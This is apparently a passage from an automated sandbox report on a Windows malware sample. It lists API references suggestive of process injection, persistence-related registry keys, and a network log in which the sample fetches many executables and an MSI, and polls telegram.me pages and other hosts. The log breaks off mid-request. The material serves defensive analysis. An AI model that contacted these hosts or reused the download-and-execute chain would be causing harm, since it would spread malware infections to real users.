Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "NtOpenThread" (Indicator: "OpenThread"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "NtAlertResumeThread" (Indicator: "ResumeThread"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "GetThreadContextSetThreadContextGetModuleHandleAGetModuleHandleW" (Indicator: "GetThreadContext"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "GetThreadContextSetThreadContextGetModuleHandleAGetModuleHandleW" (Indicator: "SetThreadContext"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "NtOpenThread" (Indicator: "OpenThread"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "NtAlertResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "tCreateThread" (Indicator: "CreateThread"; Source: "00000000-00003336.00000000.253660.D7E20000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003488.00000000.251857.2DA5F000.00000004.mdmp, 00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00003488.00000000.251857.2DA5F000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003488.00000000.251857.2DA5F000.00000004.mdmp")61:Taa8,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "OpenProcessToken.3" (Indicator: "OpenProcess"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "syscall.procOpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "syscall.procOpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp")62:T728,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00003336.00000000.253660.B911A000.00000002.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00003336.00000000.253660.B911A000.00000002.mdmp") Found reference to API "syscall.procGetLastError" (Indicator: "GetLastError"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003488.00000000.251857.2DA5F000.00000004.mdmp, 00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp")63:T56c,"jC9EsXW_1_.exe" contains export function called "__dbk_fcall_wrapper" at ordinal 2 "jC9EsXW_1_.exe" contains export function called "dbkFCallWrapperAddr" at ordinal 1 "_isdecmp.dll" contains export function called "BZ2_bzDecompress" at ordinal 1 "_isdecmp.dll" contains export function called "BZ2_bzDecompressEnd" at ordinal 2 "_isdecmp.dll" contains export function called "BZ2_bzDecompressInit" at ordinal 3 "jC9EsXW.tmp" contains export function called "__dbk_fcall_wrapper" at ordinal 2 "jC9EsXW.tmp" contains export function called "dbkFCallWrapperAddr" at ordinal 1 "MSICD63.tmp" contains export function called "_CheckReboot@4" at ordinal 1 "MSICD63.tmp" contains export function called "_InstallFinish1@4" at ordinal 2 "MSICD63.tmp" contains export function called "_InstallFinish2@4" at ordinal 3 "MSICD63.tmp" contains export function called "_InstallMain@4" at ordinal 4 "MSICD63.tmp" contains export function called "_InstallPrepare@4" at ordinal 5 "MSICD63.tmp" contains export function called "_InstallRollback@4" at ordinal 6 "MSICD63.tmp" contains export function called "_SubstWrappedArguments@4" at ordinal 7 "MSICD63.tmp" contains export function called "_UninstallFinish1@4" at ordinal 8 "MSICD63.tmp" contains export function called "_UninstallFinish2@4" at ordinal 9 "MSICD63.tmp" contains export function called "_UninstallPrepare@4" at ordinal 1064:T632,Found reference to API "SHFileOperationA" (Indicator: "SHFileOperation"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "RegQueryValueExWSHFileOperationAInternetConnectAHttpOpenRequestAHttpSendRequestAInternetReadFile ]~pu]xscpchP" (Indicator: "SHFileOperation"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "SHFileOperationA" (Indicator: "SHFileOperation"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "SHFileOperationA" (Indicator: "SHFileOperation"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "RegQueryValueExWSHFileOperationAInternetConnectAHttpOpenRequestAHttpSendRequestAInternetReadFile ]~pu]xscpchP" (Indicator: "SHFileOperation"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "SHFileOperationA" (Indicator: "SHFileOperation"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp")65:T904,"Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin "DSystem\CurrentControlSet\Control\Session Manager" in Source: 63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin "System\CurrentControlSet\Control\Session Manager\FileRenameOperations" in Source: 63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin "System\CurrentControlSet\Control\Session Manager" in Source: 28854-17-0040256D "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00007260.00000000.250188.0018F000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00000528.00000001.252412.83280000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00000528.00000001.252412.85870000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00003336.00000000.253660.B911A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00003336.00000000.253660.B911A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00003336.00000000.253660.B911A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00003336.00000000.253660.B911A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00003336.00000000.253660.B911A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00003336.00000000.253660.B911A000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003488.00000000.251857.7C978000.00000002.mdmp "Software\Microsoft\Edge" in Source: 00000000-00003488.00000000.251857.7C978000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00003524.00000000.250303.00190000.00000002.mdmp 00000000-00003524.00000001.252222.0018F000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004592.00000001.250667.B6140000.00000004.mdmp66:T579," HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 14:40:49 GMT Content-Type: application/octet-stream Content-Length: 174080 Last-Modified: Sun 01 Feb 2026 14:23:40 GMT Connection: keep-alive ETag: "697f61ec-2a800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /files/6691015685/bEKVmef.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 14:40:51 GMT Content-Type: application/octet-stream Content-Length: 2607104 Last-Modified: Wed 28 Jan 2026 11:11:34 GMT Connection: keep-alive ETag: "6979eee6-27c800" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /files/7453936223/5GFpJxh.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 14:40:55 GMT Content-Type: application/octet-stream Content-Length: 172032 Last-Modified: Fri 23 Jan 2026 22:01:46 GMT Connection: keep-alive ETag: "6973efca-2a000" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 01 Feb 2026 14:40:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12300 Connection: keep-alive Set-Cookie: stel_ssid=cc6276b74ea54399cd_4653140509329839093; expires=Mon 02 Feb 2026 14:40:55 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: cro.munsitex.com.lk Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Sun 01 Feb 2026 14:40:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=7 cfOrigin;dur=956 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=owBuy3RVhX9CgV6U%2FV4VmCPpndV%2BH%2BHNIO6iBjIpQeNuh2bTAuHmkOZSHQQf7h2iwIDj4zLlOHSCofMYl57yRnHVGiWKckdXMMnxgbxYy8DJbZw%3D"}]} CF-RAY: 9c7234edc8cf4e35-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B....... "GET /files/8035438604/X5P2hQO.msi HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 14:40:56 GMT Content-Type: application/octet-stream Content-Length: 1785856 Last-Modified: Sun 01 Feb 2026 07:22:25 GMT Connection: keep-alive ETag: "697eff31-1b4000" Accept-Ranges: bytes with response body ==>C390C38F11C3A0C2A1C2B11AC3A1000000000000000000000000000000003E000400C3BEC3BF0C00060000000000000001000000010000000100000000000000....... "GET /files/8434554557/QKTi8Lo.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 14:40:59 GMT Content-Type: application/octet-stream Content-Length: 289792 Last-Modified: Thu 22 Jan 2026 08:56:14 GMT Connection: keep-alive ETag: "6971e62e-46c00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=cc6276b74ea54399cd_4653140509329839093" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 01 Feb 2026 14:41:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12300 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: cro.munsitex.com.lk Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Sun 01 Feb 2026 14:41:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=438 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=kDyN3i%2FuvuRc%2F3GIjKXZeuZ82oB%2F9CjYGO2SIzF7YEoQ5fhRhYpMqQ%2BCTcXSTM9HKunIarN67t253oZi20tnKfrubtSnDW0HS6O8uyKoA2DW3ko%3D"}]} CF-RAY: 9c723510fdb9d56a-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B....... "GET /n1ds03 HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=cc6276b74ea54399cd_4653140509329839093" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 01 Feb 2026 14:41:08 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12295 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: lts.beznervov.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Sun 01 Feb 2026 14:41:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=PZNpbmI4ZGEK1ACWcAXzvibIk2MO9hjwLdJDhJbYzfQChr7libdNg6vq%2BDSPPxgLxdVeSi5oCljlKADjvBuHyCFysXQUNcYDJWAzs21TMIRL"}]} CF-RAY: 9c723544ad3d4fd0-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B....... "GET /files/7972786482/6TsgDw4.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 14:41:12 GMT Content-Type: application/octet-stream Content-Length: 2613248 Last-Modified: Sun 01 Feb 2026 02:17:38 GMT Connection: keep-alive ETag: "697eb7c2-27e000" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /files/5900855435/eNLe4nm.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 14:41:15 GMT Content-Type: application/octet-stream Content-Length: 174080 Last-Modified: Sat 31 Jan 2026 07:00:01 GMT Connection: keep-alive ETag: "697da871-2a800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /files/8451971749/Wfo8KJM.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 14:41:22 GMT Content-Type: application/octet-stream Content-Length: 174080 Last-Modified: Thu 29 Jan 2026 21:34:58 GMT Connection: keep-alive ETag: "697bd282-2a800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /files/6608710704/QWKgBhv.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 14:41:23 GMT Content-Type: application/octet-stream Content-Length: 172032 Last-Modified: Sat 24 Jan 2026 06:29:33 GMT Connection: keep-alive ETag: "697466cd-2a000" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=cc6276b74ea54399cd_4653140509329839093" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 01 Feb 2026 14:41:24 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12301 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: cro.munsitex.com.lk Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Sun 01 Feb 2026 14:41:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=5 cfOrigin;dur=446 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=m9BH1vpq7ldudaxAxCU3qv7Moywcp%2BCXNNDQIB6OjzUNmh4FUFsWUvnRNJStb9J9biGtBaFCSIWRGjOSJZU3qz0PVI1MlrJOSe4RkJkid5nmhHk%3D"}]} CF-RAY: 9c7235a13abef3f6-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B....... "GET /files/7782139129/jC9EsXW.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 14:41:25 GMT Content-Type: application/octet-stream Content-Length: 3506762 Last-Modified: Sun 01 Feb 2026 00:48:29 GMT Connection: keep-alive ETag: "697ea2dd-35824a" Accept-Ranges: bytes with response body ==>4D5A50000200000004000F00C3BFC3BF0000C2B80000000000000040001A00000000000000000000000000000000000000000000000000000000000000000000....... "GET /test/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 14:41:28 GMT Content-Type: application/octet-stream Content-Length: 20000 Last-Modified: Wed 19 Nov 2025 00:53:00 GMT Connection: keep-alive ETag: "691d14ec-4e20" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /files/rdx/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 14:41:39 GMT Content-Type: application/octet-stream Content-Length: 174080 Last-Modified: Sun 01 Feb 2026 13:50:43 GMT Connection: keep-alive ETag: "697f5a33-2a800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /n1ds03 HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=cc6276b74ea54399cd_4653140509329839093" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 01 Feb 2026 14:41:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12294 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: lts.beznervov.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Sun 01 Feb 2026 14:41:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=%2Btu4AbVA0bpCLidFMPeZruR%2B%2FTTU27JotcHrfJeqafojzhBWoCBufUr3b8YzFXtMdKRKGM23pvzjFEEC26I9Ml7GOkQ%2BwIGx8ee2umJwO3bB"}]} CF-RAY: 9c72361899f92db6-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B....... "GET /n1ds03 HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 